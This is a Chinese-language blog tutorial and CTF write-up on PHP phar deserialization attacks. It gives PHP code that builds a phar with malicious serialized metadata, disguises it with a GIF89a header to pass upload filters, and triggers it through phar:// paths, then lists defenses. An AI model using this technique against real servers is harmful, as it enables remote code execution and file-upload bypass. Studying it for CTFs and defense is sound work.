最近,想把PHP序列化这几类总结一下,也能延伸出一些扩展知识。

这是第一篇。

0x01前言

做到一道关于phar协议和文件上传和反序列化结合的题,发现这方面不太懂,于是去查看资料,发现原来这类漏洞利用姿势还是挺有意思的。

在2018年的Black Hat大会上,安全研究员Sam Thomas公开了It’s a PHP unserialization vulnerability Jim, but not as we know it议题,该利用方式是利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,来扩展php反序列化漏洞攻击面。

平时我们利用反序列化漏洞,需要看到有unserialize()函数,否则无法进行,而现如今,安全性越来越高,所以,像如此不需要unserialize()函数的序列化漏洞,变得很有用。

0x02原理

phar文件结构

phar文件由四部分组成

  1. a stub

    是一种标志,格式为

    xxx<?php xxx; __HALT_COMPILER();?>

    xxx内容不限,但是必须是__HALT_COMPILER();?>来结尾,否则phar扩展就不会识别这个文件。

  2. a manifest describing the contents

    其实phar文件本质上是一种压缩文件,其实每个被压缩文件的权限、属性信息都被放在这一部分。这部分会存储序列化过的meta-data,这时攻击利用的核心点。

    (拿seebug大佬的图。。。。。)

    24388aaa-6ea4-4856-8fb1-fbf29deb5dca

  3. the file contents

    被压缩文件的内容

  4. [optional] a signature for verifying Phar integrity (phar file format only)

    签名

利用基本姿势

这种利用姿势,php中有内置的phar类,基本语法如下

<?php
    class TestObject {
    }
    //以上是与利用相关的pop链

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();

    $phar->setStub("xxx<?php xxx __HALT_COMPILER(); ?>"); //设置stub
    //一般来说,正常网站都会对上传的文件头进行过滤,所以,我们可以在xxx处,加上
    //   “GIF89a”来隐藏自己

    $o = new TestObject();//这里是pop链的开头
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

那么序列化后,没有unserialize(),我们如何去反序列化呢?

其实,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,由👉大佬测试后,发现受影响的函数如下:

17c4c630-b5f7-4e02-af48-160cd8fcf73a

php底层是由c语言实现的,可以看一下php底层代码是如何处理的

44a2f1dc-1c23-4638-8f6e-24fc75d68c2a

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

注意点

在创建phar文件时,自己的php环境中php.ini中的phar.readonly一定要是off,如果没有设置或者为on的话,就是默认为开启的,这样就创建不了phar文件了.

0x03实际利用

利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

实际案例

Thomas 已利用 PHP 的反序列化程序成功攻击了 WordPress 与 Typo3 内容管理平台,以及 Contao 所采用的 TCPDF 库。

感兴趣自己可以了解

0x04CTF中的运用

[SWPUCTF 2018]SimplePHP

具体如何发现源代码我就不说了,大家可以参考这篇文章

https://blog.csdn.net/qq_43756333/article/details/107134405

在构造pop链的时候,我们就拿上面的demo,进行攻击

//exp.php
<?php
class TestObject {
}//自己的pop链
@unlink("phar.phar");
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($c);
$p->addFromString('1.txt','text');
$p->stopBuffering();

并且还利用GIF89a来伪装文件

利用以上demo创建pahr.phar,本体对后缀名有限制,我们改后缀名为jpg,没关系,因为我们只要用phar协议解析此文件即可。

在upload目录,我们可以看到被上传的文件名。

在file.php中get请求,我们可以进行phar协议来解析

phar://upload/xxx.jpg

得到base64加密的flag

0x05 防御

  1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
  2. 严格检查上传文件的内容,而不是只检查文件头。
  3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

0x06 Referer

利用 phar 拓展 php 反序列化漏洞攻击面

blackhat PPT

https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf